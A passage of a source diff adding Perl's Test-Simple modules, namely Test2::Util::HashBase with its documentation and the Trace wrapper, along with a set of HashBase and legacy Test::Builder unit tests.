+ if (0.004 > ($Test2::Util::HashBase::VERSION{$_} || 0)) {
+ Carp::carp("$_ uses an inlined version of Test2::Util::HashBase too old to support attr_list()");
+ }
+ else {
+ my $list = $Test2::Util::HashBase::ATTR_LIST{$_};
+ @out = $list ? @$list : ()
+ }
+
+ @out;
+ } reverse @$isa;
+
+ return @list;
+}
+
+sub _new {
+ my $class = shift;
+
+ my $self;
+
+ if (@_ == 1) {
+ my $arg = shift;
+ my $type = ref($arg);
+
+ if ($type eq 'HASH') {
+ $self = bless({%$arg}, $class)
+ }
+ else {
+ Carp::croak("Not sure what to do with '$type' in $class constructor")
+ unless $type eq 'ARRAY';
+
+ my %proto;
+ my @attributes = attr_list($class);
+ while (@$arg) {
+ my $val = shift @$arg;
+ my $key = shift @attributes or Carp::croak("Too many arguments for $class constructor");
+ $proto{$key} = $val;
+ }
+
+ $self = bless(\%proto, $class);
+ }
+ }
+ else {
+ $self = bless({@_}, $class);
+ }
+
+ $Test2::Util::HashBase::CAN_CACHE{$class} = $self->can('init')
+ unless exists $Test2::Util::HashBase::CAN_CACHE{$class};
+
+ $self->init if $Test2::Util::HashBase::CAN_CACHE{$class};
+
+ $self;
+}
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Util::HashBase - Build hash based classes.
+
+=head1 SYNOPSIS
+
+A class:
+
+ package My::Class;
+ use strict;
+ use warnings;
+
+ # Generate 3 accessors
+ use Test2::Util::HashBase qw/foo -bar ^baz/;
+
+ # Chance to initialize defaults
+ sub init {
+ my $self = shift; # No other args
+ $self->{+FOO} ||= "foo";
+ $self->{+BAR} ||= "bar";
+ $self->{+BAZ} ||= "baz";
+ }
+
+ sub print {
+ print join ", " => map { $self->{$_} } FOO, BAR, BAZ;
+ }
+
+Subclass it
+
+ package My::Subclass;
+ use strict;
+ use warnings;
+
+ # Note, you should subclass before loading HashBase.
+ use base 'My::Class';
+ use Test2::Util::HashBase qw/bat/;
+
+ sub init {
+ my $self = shift;
+
+ # We get the constants from the base class for free.
+ $self->{+FOO} ||= 'SubFoo';
+ $self->{+BAT} ||= 'bat';
+
+ $self->SUPER::init();
+ }
+
+use it:
+
+ package main;
+ use strict;
+ use warnings;
+ use My::Class;
+
+ # These are all functionally identical
+ my $one = My::Class->new(foo => 'MyFoo', bar => 'MyBar');
+ my $two = My::Class->new({foo => 'MyFoo', bar => 'MyBar'});
+ my $three = My::Class->new(['MyFoo', 'MyBar']);
+
+ # Accessors!
+ my $foo = $one->foo; # 'MyFoo'
+ my $bar = $one->bar; # 'MyBar'
+ my $baz = $one->baz; # Defaulted to: 'baz'
+
+ # Setters!
+ $one->set_foo('A Foo');
+
+ #'-bar' means read-only, so the setter will throw an exception (but is defined).
+ $one->set_bar('A bar');
+
+ # '^baz' means deprecated setter, this will warn about the setter being
+ # deprecated.
+ $one->set_baz('A Baz');
+
+ $one->{+FOO} = 'xxx';
+
+=head1 DESCRIPTION
+
+This package is used to generate classes based on hashrefs. Using this class
+will give you a C<new()> method, as well as generating accessors you request.
+Generated accessors will be getters, C<set_ACCESSOR> setters will also be
+generated for you. You also get constants for each accessor (all caps) which
+return the key into the hash for that accessor. Single inheritance is also
+supported.
+
+=head1 THIS IS A BUNDLED COPY OF HASHBASE
+
+This is a bundled copy of L<Object::HashBase>. This file was generated using
+the
+C</home/exodist/perl5/perlbrew/perls/main/bin/hashbase_inc.pl>
+script.
+
+=head1 METHODS
+
+=head2 PROVIDED BY HASH BASE
+
+=over 4
+
+=item $it = $class->new(%PAIRS)
+
+=item $it = $class->new(\%PAIRS)
+
+=item $it = $class->new(\@ORDERED_VALUES)
+
+Create a new instance.
+
+HashBase will not export C<new()> if there is already a C<new()> method in your
+packages inheritance chain.
+
+B<If you do not want this method you can define your own> you just have to
+declare it before loading L<Test2::Util::HashBase>.
+
+ package My::Package;
+
+ # predeclare new() so that HashBase does not give us one.
+ sub new;
+
+ use Test2::Util::HashBase qw/foo bar baz/;
+
+ # Now we define our own new method.
+ sub new { ... }
+
+This makes it so that HashBase sees that you have your own C<new()> method.
+Alternatively you can define the method before loading HashBase instead of just
+declaring it, but that scatters your use statements.
+
+The most common way to create an object is to pass in key/value pairs where
+each key is an attribute and each value is what you want assigned to that
+attribute. No checking is done to verify the attributes or values are valid,
+you may do that in C<init()> if desired.
+
+If you would like, you can pass in a hashref instead of pairs. When you do so
+the hashref will be copied, and the copy will be returned blessed as an object.
+There is no way to ask HashBase to bless a specific hashref.
+
+In some cases an object may only have 1 or 2 attributes, in which case a
+hashref may be too verbose for your liking. In these cases you can pass in an
+arrayref with only values. The values will be assigned to attributes in the
+order the attributes were listed. When there is inheritance involved the
+attributes from parent classes will come before subclasses.
+
+=back
+
+=head2 HOOKS
+
+=over 4
+
+=item $self->init()
+
+This gives you the chance to set some default values to your fields. The only
+argument is C<$self> with its indexes already set from the constructor.
+
+B<Note:> Test2::Util::HashBase checks for an init using C<< $class->can('init') >>
+during construction. It DOES NOT call C<can()> on the created object. Also note
+that the result of the check is cached, it is only ever checked once, the first
+time an instance of your class is created. This means that adding an C<init()>
+method AFTER the first construction will result in it being ignored.
+
+=back
+
+=head1 ACCESSORS
+
+=head2 READ/WRITE
+
+To generate accessors you list them when using the module:
+
+ use Test2::Util::HashBase qw/foo/;
+
+This will generate the following subs in your namespace:
+
+=over 4
+
+=item foo()
+
+Getter, used to get the value of the C<foo> field.
+
+=item set_foo()
+
+Setter, used to set the value of the C<foo> field.
+
+=item FOO()
+
+Constant, returns the field C<foo>'s key into the class hashref. Subclasses will
+also get this function as a constant, not simply a method, that means it is
+copied into the subclass namespace.
+
+The main reason for using these constants is to help avoid spelling mistakes
+and similar typos. It will not help you if you forget to prefix the '+' though.
+
+=back
+
+=head2 READ ONLY
+
+ use Test2::Util::HashBase qw/-foo/;
+
+=over 4
+
+=item set_foo()
+
+Throws an exception telling you the attribute is read-only. This is exported to
+override any active setters for the attribute in a parent class.
+
+=back
+
+=head2 DEPRECATED SETTER
+
+ use Test2::Util::HashBase qw/^foo/;
+
+=over 4
+
+=item set_foo()
+
+This will set the value, but it will also warn you that the method is
+deprecated.
+
+=back
+
+=head1 SUBCLASSING
+
+You can subclass an existing HashBase class.
+
+ use base 'Another::HashBase::Class';
+ use Test2::Util::HashBase qw/foo bar baz/;
+
+The base class is added to C<@ISA> for you, and all constants from base classes
+are added to subclasses automatically.
+
+=head1 GETTING A LIST OF ATTRIBUTES FOR A CLASS
+
+Test2::Util::HashBase provides a function for retrieving a list of attributes for an
+Test2::Util::HashBase class.
+
+=over 4
+
+=item @list = Test2::Util::HashBase::attr_list($class)
+
+=item @list = $class->Test2::Util::HashBase::attr_list()
+
+Either form above will work. This will return a list of attributes defined on
+the object. This list is returned in the attribute definition order, parent
+class attributes are listed before subclass attributes. Duplicate attributes
+will be removed before the list is returned.
+
+B<Note:> This list is used in the C<< $class->new(\@ARRAY) >> constructor to
+determine the attribute to which each value will be paired.
+
+=back
+
+=head1 SOURCE
+
+The source code repository for HashBase can be found at
+F<http://github.com/Test-More/HashBase/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Trace.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Trace.pm
new file mode 100644
index 00000000000..1e5351f6db5
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/Test2/Util/Trace.pm
@@ -0,0 +1,54 @@
+package Test2::Util::Trace;
+require Test2::EventFacet::Trace;
+@ISA = ('Test2::EventFacet::Trace');
+
+our $VERSION = '1.302133';
+
+1;
+
+__END__
+
+=pod
+
+=encoding UTF-8
+
+=head1 NAME
+
+Test2::Util::Trace - Legacy wrapper fro L<Test2::EventFacet::Trace>.
+
+=head1 DESCRIPTION
+
+All the functionality for this class has been moved to
+L<Test2::EventFacet::Trace>.
+
+=head1 SOURCE
+
+The source code repository for Test2 can be found at
+F<http://github.com/Test-More/test-more/>.
+
+=head1 MAINTAINERS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 AUTHORS
+
+=over 4
+
+=item Chad Granum E<lt>exodist@cpan.orgE<gt>
+
+=back
+
+=head1 COPYRIGHT
+
+Copyright 2018 Chad Granum E<lt>exodist@cpan.orgE<gt>.
+
+This program is free software; you can redistribute it and/or
+modify it under the same terms as Perl itself.
+
+See F<http://dev.perl.org/licenses/>
+
+=cut
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/lib/ok.pm b/gnu/usr.bin/perl/cpan/Test-Simple/lib/ok.pm
index 02726ac9641..19f0f0835c7 100644
--- a/gnu/usr.bin/perl/cpan/Test-Simple/lib/ok.pm
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/lib/ok.pm
@@ -1,5 +1,5 @@
package ok;
-$ok::VERSION = '0.16';
+our $VERSION = '1.302133';
use strict;
use Test::More ();
@@ -20,6 +20,8 @@ sub import {
__END__
+=encoding UTF-8
+
=head1 NAME
ok - Alternative to Test::More::use_ok
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/HashBase.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/HashBase.t
new file mode 100644
index 00000000000..397c69759ff
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/HashBase.t
@@ -0,0 +1,238 @@
+use strict;
+use warnings;
+
+use Test::More;
+
+
+sub warnings(&) {
+ my $code = shift;
+ my @warnings;
+ local $SIG{__WARN__} = sub { push @warnings => @_ };
+ $code->();
+ return \@warnings;
+}
+
+sub exception(&) {
+ my $code = shift;
+ local ($@, $!, $SIG{__DIE__});
+ my $ok = eval { $code->(); 1 };
+ my $error = $@ || 'SQUASHED ERROR';
+ return $ok ? undef : $error;
+}
+
+BEGIN {
+ $INC{'Object/HashBase/Test/HBase.pm'} = __FILE__;
+
+ package
+ main::HBase;
+ use Test2::Util::HashBase qw/foo bar baz/;
+
+ main::is(FOO, 'foo', "FOO CONSTANT");
+ main::is(BAR, 'bar', "BAR CONSTANT");
+ main::is(BAZ, 'baz', "BAZ CONSTANT");
+}
+
+BEGIN {
+ package
+ main::HBaseSub;
+ use base 'main::HBase';
+ use Test2::Util::HashBase qw/apple pear/;
+
+ main::is(FOO, 'foo', "FOO CONSTANT");
+ main::is(BAR, 'bar', "BAR CONSTANT");
+ main::is(BAZ, 'baz', "BAZ CONSTANT");
+ main::is(APPLE, 'apple', "APPLE CONSTANT");
+ main::is(PEAR, 'pear', "PEAR CONSTANT");
+}
+
+my $one = main::HBase->new(foo => 'a', bar => 'b', baz => 'c');
+is($one->foo, 'a', "Accessor");
+is($one->bar, 'b', "Accessor");
+is($one->baz, 'c', "Accessor");
+$one->set_foo('x');
+is($one->foo, 'x', "Accessor set");
+$one->set_foo(undef);
+
+is_deeply(
+ $one,
+ {
+ foo => undef,
+ bar => 'b',
+ baz => 'c',
+ },
+ 'hash'
+);
+
+BEGIN {
+ package
+ main::Const::Test;
+ use Test2::Util::HashBase qw/foo/;
+
+ sub do_it {
+ if (FOO()) {
+ return 'const';
+ }
+ return 'not const'
+ }
+}
+
+my $pkg = 'main::Const::Test';
+is($pkg->do_it, 'const', "worked as expected");
+{
+ local $SIG{__WARN__} = sub { };
+ *main::Const::Test::FOO = sub { 0 };
+}
+ok(!$pkg->FOO, "overrode const sub");
+{
+local $TODO = "known to fail on $]" if $] le "5.006002";
+is($pkg->do_it, 'const', "worked as expected, const was constant");
+}
+
+BEGIN {
+ $INC{'Object/HashBase/Test/HBase/Wrapped.pm'} = __FILE__;
+
+ package
+ main::HBase::Wrapped;
+ use Test2::Util::HashBase qw/foo bar dup/;
+
+ my $foo = __PACKAGE__->can('foo');
+ no warnings 'redefine';
+ *foo = sub {
+ my $self = shift;
+ $self->set_bar(1);
+ $self->$foo(@_);
+ };
+}
+
+BEGIN {
+ $INC{'Object/HashBase/Test/HBase/Wrapped/Inherit.pm'} = __FILE__;
+
+ package
+ main::HBase::Wrapped::Inherit;
+ use base 'main::HBase::Wrapped';
+ use Test2::Util::HashBase qw/baz dup/;
+}
+
+my $o = main::HBase::Wrapped::Inherit->new(foo => 1);
+my $foo = $o->foo;
+is($o->bar, 1, 'parent attribute sub not overridden');
+
+{
+ package
+ Foo;
+
+ sub new;
+
+ use Test2::Util::HashBase qw/foo bar baz/;
+
+ sub new { 'foo' };
+}
+
+is(Foo->new, 'foo', "Did not override existing 'new' method");
+
+BEGIN {
+ $INC{'Object/HashBase/Test/HBase2.pm'} = __FILE__;
+
+ package
+ main::HBase2;
+ use Test2::Util::HashBase qw/foo -bar ^baz/;
+
+ main::is(FOO, 'foo', "FOO CONSTANT");
+ main::is(BAR, 'bar', "BAR CONSTANT");
+ main::is(BAZ, 'baz', "BAZ CONSTANT");
+}
+
+my $ro = main::HBase2->new(foo => 'foo', bar => 'bar', baz => 'baz');
+is($ro->foo, 'foo', "got foo");
+is($ro->bar, 'bar', "got bar");
+is($ro->baz, 'baz', "got baz");
+
+is($ro->set_foo('xxx'), 'xxx', "Can set foo");
+is($ro->foo, 'xxx', "got foo");
+
+like(exception { $ro->set_bar('xxx') }, qr/'bar' is read-only/, "Cannot set bar");
+
+my $warnings = warnings { is($ro->set_baz('xxx'), 'xxx', 'set baz') };
+like($warnings->[0], qr/set_baz\(\) is deprecated/, "Deprecation warning");
+
+
+
+is_deeply(
+ [Test2::Util::HashBase::attr_list('main::HBase::Wrapped::Inherit')],
+ [qw/foo bar dup baz/],
+ "Got a list of attributes in order starting from base class, duplicates removed",
+);
+
+my $x = main::HBase::Wrapped::Inherit->new(foo => 1, baz => 2);
+is($x->foo, 1, "set foo via pairs");
+is($x->baz, 2, "set baz via pairs");
+
+# Now with hashref
+my $y = main::HBase::Wrapped::Inherit->new({foo => 1, baz => 2});
+is($y->foo, 1, "set foo via hashref");
+is($y->baz, 2, "set baz via hashref");
+
+# Now with hashref
+my $z = main::HBase::Wrapped::Inherit->new([
+ 1, # foo
+ 2, # bar
+ 3, # dup
+ 4, # baz
+]);
+is($z->foo, 1, "set foo via arrayref");
+is($z->baz, 4, "set baz via arrayref");
+
+like(
+ exception { main::HBase::Wrapped::Inherit->new([1 .. 10]) },
+ qr/Too many arguments for main::HBase::Wrapped::Inherit constructor/,
+ "Too many args in array form"
+);
+
+
+my $CAN_COUNT = 0;
+my $CAN_COUNT2 = 0;
+my $INIT_COUNT = 0;
+BEGIN {
+ $INC{'Object/HashBase/Test/HBase3.pm'} = __FILE__;
+ package
+ main::HBase3;
+ use Test2::Util::HashBase qw/foo/;
+
+ sub can {
+ my $self = shift;
+ $CAN_COUNT++;
+ $self->SUPER::can(@_);
+ }
+
+ $INC{'Object/HashBase/Test/HBase4.pm'} = __FILE__;
+ package
+ main::HBase4;
+ use Test2::Util::HashBase qw/foo/;
+
+ sub can {
+ my $self = shift;
+ $CAN_COUNT2++;
+ $self->SUPER::can(@_);
+ }
+
+ sub init { $INIT_COUNT++ }
+}
+
+is($CAN_COUNT, 0, "->can has not been called yet");
+my $it = main::HBase3->new;
+is($CAN_COUNT, 1, "->can has been called once to check for init");
+$it = main::HBase3->new;
+is($CAN_COUNT, 1, "->can was not called again, we cached it");
+
+is($CAN_COUNT2, 0, "->can has not been called yet");
+is($INIT_COUNT, 0, "->init has not been called yet");
+$it = main::HBase4->new;
+is($CAN_COUNT2, 1, "->can has been called once to check for init");
+is($INIT_COUNT, 1, "->init has been called once");
+$it = main::HBase4->new;
+is($CAN_COUNT2, 1, "->can was not called again, we cached it");
+is($INIT_COUNT, 2, "->init has been called again");
+
+done_testing;
+
+1;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/00test_harness_check.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/00test_harness_check.t
new file mode 100644
index 00000000000..3ff4a13c639
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/00test_harness_check.t
@@ -0,0 +1,26 @@
+#!/usr/bin/perl -w
+
+# A test to make sure the new Test::Harness was installed properly.
+
+use Test::More;
+plan tests => 1;
+
+my $TH_Version = 2.03;
+
+require Test::Harness;
+unless( cmp_ok( eval $Test::Harness::VERSION, '>=', $TH_Version, "T::H version" ) ) {
+ diag <<INSTRUCTIONS;
+
+Test::Simple/More/Builder has features which depend on a version of
+Test::Harness greater than $TH_Version. You have $Test::Harness::VERSION.
+Please install a new version from CPAN.
+
+If you've already tried to upgrade Test::Harness and still get this
+message, the new version may be "shadowed" by the old. Check the
+output of Test::Harness's "make install" for "## Differing version"
+messages. You can delete the old version by running
+"make install UNINST=1".
+
+INSTRUCTIONS
+}
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/01-basic.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/01-basic.t
new file mode 100644
index 00000000000..12997d5155e
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/01-basic.t
@@ -0,0 +1,5 @@
+use strict;
+use Test::More tests => 3;
+use ok 'strict';
+use ok 'Test::More';
+use ok 'ok';
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/478-cmp_ok_hash.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/478-cmp_ok_hash.t
new file mode 100644
index 00000000000..811835b9d3f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/478-cmp_ok_hash.t
@@ -0,0 +1,41 @@
+use strict;
+use warnings;
+use Test::More;
+
+
+my $want = 0;
+my $got = 0;
+
+cmp_ok($got, 'eq', $want, "Passes on correct comparison");
+
+my ($res, @ok, @diag, @warn);
+{
+ no warnings 'redefine';
+ local *Test::Builder::ok = sub {
+ my ($tb, $ok, $name) = @_;
+ push @ok => $ok;
+ return $ok;
+ };
+ local *Test::Builder::diag = sub {
+ my ($tb, @d) = @_;
+ push @diag => @d;
+ };
+ local $SIG{__WARN__} = sub {
+ push @warn => @_;
+ };
+ $res = cmp_ok($got, '#eq', $want, "You shall not pass!");
+}
+
+ok(!$res, "Did not pass");
+
+is(@ok, 1, "1 result");
+ok(!$ok[0], "result is false");
+
+# We only care that it mentions a syntax error.
+like(join("\n" => @diag), qr/syntax error at \(eval in cmp_ok\)/, "Syntax error");
+
+# We are not going to inspect the warning because it is not super predictable,
+# and changes with eval specifics.
+ok(@warn, "We got warnings");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_require_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_require_ok.t
new file mode 100644
index 00000000000..733d0bb861c
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_require_ok.t
@@ -0,0 +1,27 @@
+#!/usr/bin/perl -w
+
+# Fixed a problem with BEGIN { use_ok or require_ok } silently failing when there's no
+# plan set. [rt.cpan.org 28345] Thanks Adriano Ferreira and Yitzchak.
+
+use strict;
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::More;
+
+my $result;
+BEGIN {
+ $result = require_ok("strict");
+}
+
+ok $result, "require_ok ran";
+
+done_testing(2);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_use_ok.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_use_ok.t
new file mode 100644
index 00000000000..476badf7a29
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/BEGIN_use_ok.t
@@ -0,0 +1,26 @@
+#!/usr/bin/perl -w
+
+# [rt.cpan.org 28345]
+#
+# A use_ok() inside a BEGIN block lacking a plan would be silently ignored.
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::More;
+
+my $result;
+BEGIN {
+ $result = use_ok("strict");
+}
+
+ok( $result, "use_ok() ran" );
+done_testing(2);
+
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/600.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/600.t
new file mode 100644
index 00000000000..ce47e40aa76
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/600.t
@@ -0,0 +1,16 @@
+use Test2::API qw/intercept/;
+use Test::More;
+
+my $TEST = Test::Builder->new();
+
+sub fake {
+ $TEST->use_numbers(0);
+ $TEST->no_ending(1);
+ $TEST->done_testing(1); # a computed number of tests from its deferred magic
+}
+
+my $events = intercept { fake() };
+is(@$events, 1, "only 1 event");
+is($events->[0]->max, 1, "Plan set to 1, not 0");
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/629.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/629.t
new file mode 100644
index 00000000000..ba5edf8512f
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Bugs/629.t
@@ -0,0 +1,49 @@
+use strict;
+use warnings;
+
+use Test::More;
+use Test2::API qw/intercept/;
+
+my @warnings;
+
+intercept {
+ SKIP: {
+ local $SIG{__WARN__} = sub { @warnings = @_ };
+ skip 'Skipping this test' if 1;
+ my $var = 'abc';
+ is $var, 'abc';
+ }
+};
+
+ok(!@warnings, "did not warn when waiting for done_testing");
+
+intercept {
+ SKIP: {
+ local $SIG{__WARN__} = sub { @warnings = @_ };
+ plan 'no_plan';
+ skip 'Skipping this test' if 1;
+ my $var = 'abc';
+ is $var, 'abc';
+ }
+};
+
+ok(!@warnings, "did not warn with 'no_plan'");
+
+intercept {
+ SKIP: {
+ local $SIG{__WARN__} = sub { @warnings = @_ };
+ plan tests => 1;
+ skip 'Skipping this test' if 1;
+ my $var = 'abc';
+ is $var, 'abc';
+ }
+};
+
+is(@warnings, 1, "warned with static plan");
+like(
+ $warnings[0],
+ qr/skip\(\) needs to know \$how_many tests are in the block/,
+ "Got expected warning"
+);
+
+done_testing;
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/Builder.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/Builder.t
new file mode 100644
index 00000000000..64019c0deea
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/Builder.t
@@ -0,0 +1,31 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+use Test::Builder;
+my $Test = Test::Builder->new;
+
+$Test->plan( tests => 7 );
+
+my $default_lvl = $Test->level;
+$Test->level(0);
+
+$Test->ok( 1, 'compiled and new()' );
+$Test->ok( $default_lvl == 1, 'level()' );
+
+$Test->is_eq('foo', 'foo', 'is_eq');
+$Test->is_num('23.0', '23', 'is_num');
+
+$Test->is_num( $Test->current_test, 4, 'current_test() get' );
+
+my $test_num = $Test->current_test + 1;
+$Test->current_test( $test_num );
+print "ok $test_num - current_test() set\n";
+
+$Test->ok( 1, 'counter still good' );
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/carp.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/carp.t
new file mode 100644
index 00000000000..e89eeebfb9d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/carp.t
@@ -0,0 +1,32 @@
+#!/usr/bin/perl
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = '../lib';
+ }
+}
+
+
+use Test::More tests => 3;
+use Test::Builder;
+
+my $tb = Test::Builder->create;
+sub foo { $tb->croak("foo") }
+sub bar { $tb->carp("bar") }
+
+eval { foo() };
+is $@, sprintf "foo at %s line %s.\n", $0, __LINE__ - 1;
+
+eval { $tb->croak("this") };
+is $@, sprintf "this at %s line %s.\n", $0, __LINE__ - 1;
+
+{
+ my $warning = '';
+ local $SIG{__WARN__} = sub {
+ $warning .= join '', @_;
+ };
+
+ bar();
+ is $warning, sprintf "bar at %s line %s.\n", $0, __LINE__ - 1;
+}
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/create.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/create.t
new file mode 100644
index 00000000000..64be8511d89
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/create.t
@@ -0,0 +1,38 @@
+#!/usr/bin/perl -w
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::More tests => 7;
+use Test::Builder;
+use Test::Builder::NoOutput;
+
+my $more_tb = Test::More->builder;
+isa_ok $more_tb, 'Test::Builder';
+
+is $more_tb, Test::More->builder, 'create does not interfere with ->builder';
+is $more_tb, Test::Builder->new, ' does not interfere with ->new';
+
+{
+ my $new_tb = Test::Builder::NoOutput->create;
+
+ isa_ok $new_tb, 'Test::Builder';
+ isnt $more_tb, $new_tb, 'Test::Builder->create makes a new object';
+
+ $new_tb->plan(tests => 1);
+ $new_tb->ok(1, "a test");
+
+ is $new_tb->read, <<'OUT';
+1..1
+ok 1 - a test
+OUT
+}
+
+pass("Changing output() of new TB doesn't interfere with singleton");
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test.t
new file mode 100644
index 00000000000..edd201c0e9d
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test.t
@@ -0,0 +1,11 @@
+#!/usr/bin/perl -w
+
+# Dave Rolsky found a bug where if current_test() is used and no
+# tests are run via Test::Builder it will blow up.
+
+use Test::Builder;
+$TB = Test::Builder->new;
+$TB->plan(tests => 2);
+print "ok 1\n";
+print "ok 2\n";
+$TB->current_test(2);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test_without_plan.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test_without_plan.t
new file mode 100644
index 00000000000..31f95899777
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/current_test_without_plan.t
@@ -0,0 +1,16 @@
+#!/usr/bin/perl -w
+
+# Test that current_test() will work without a declared plan.
+
+use Test::Builder;
+
+my $tb = Test::Builder->new;
+$tb->current_test(2);
+print <<'END';
+ok 1
+ok 2
+END
+
+$tb->ok(1, "Third test");
+
+$tb->done_testing(3);
diff --git a/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/details.t b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/details.t
new file mode 100644
index 00000000000..f95671ab5ea
--- /dev/null
+++ b/gnu/usr.bin/perl/cpan/Test-Simple/t/Legacy/Builder/details.t
@@ -0,0 +1,105 @@
+#!/usr/bin/perl -w
+# HARNESS-NO-STREAM
+
+BEGIN {
+ if( $ENV{PERL_CORE} ) {
+ chdir 't';
+ @INC = ('../lib', 'lib');
+ }
+ else {
+ unshift @INC, 't/lib';
+ }
+}
+
+use Test::More;
+use Test::Builder;
+my $Test = Test::Builder->new;
+
+$Test->plan( tests => 9 );
+$Test->level(0);
+
+my @Expected_Details;
+
+$Test->is_num( scalar $Test->summary(), 0, 'no tests yet, no summary' );
+push @Expected_Details, { 'ok' => 1,
+ actual_ok => 1,
+ name => 'no tests yet, no summary',
+ type => '',
+ reason => ''
+ };
+
+# Inline TODO tests will confuse pre 1.20 Test::Harness, so we
+# should just avoid the problem and not print it out.
+my $start_test = $Test->current_test + 1;
+
+my $output = '';
+$Test->output(\$output);
+$Test->todo_output(\$output);
+
+SKIP: {
+ $Test->skip( 'just testing skip' );
+}
+push @Expected_Details, { 'ok' => 1,
+ actual_ok => 1,
+ name => '',
+ type => 'skip',
+ reason => 'just testing skip',
+ };
+
+TODO: {
+ local $TODO = 'i need a todo';
+ $Test->ok( 0, 'a test to todo!' );
+
+ push @Expected_Details, { 'ok' => 1,
+ actual_ok => 0,
+ name => 'a test to todo!',
+ type => 'todo',
+ reason => 'i need a todo',
+ };
+
+ $Test->todo_skip( 'i need both' );
+}
+push @Expected_Details, { 'ok' => 1,
+ actual_ok => 0,
+ name => '',
+ type => 'todo_skip',
+ reason => 'i need both'
+ };
+
+for ($start_test..$Test->current_test) { print "ok $_\n" }
+$Test->reset_outputs;
+
+$Test->is_num( scalar $Test->summary(), 4, 'summary' );
+push @Expected_Details, { 'ok' => 1,
+ actual_ok => 1,
+ name => 'summary',
+ type => '',
+ reason => '',
+ };
+
+$Test->current_test(6);
+print "ok 6 - current_test incremented\n";
+push @Expected_Details, { 'ok' => 1,
+ actual_ok => undef,
+ name => undef,
+ type => 'unknown',
+ reason => 'incrementing test number',
+ };
+
+my @details = $Test->details();
+$Test->is_num( scalar @details, 6,
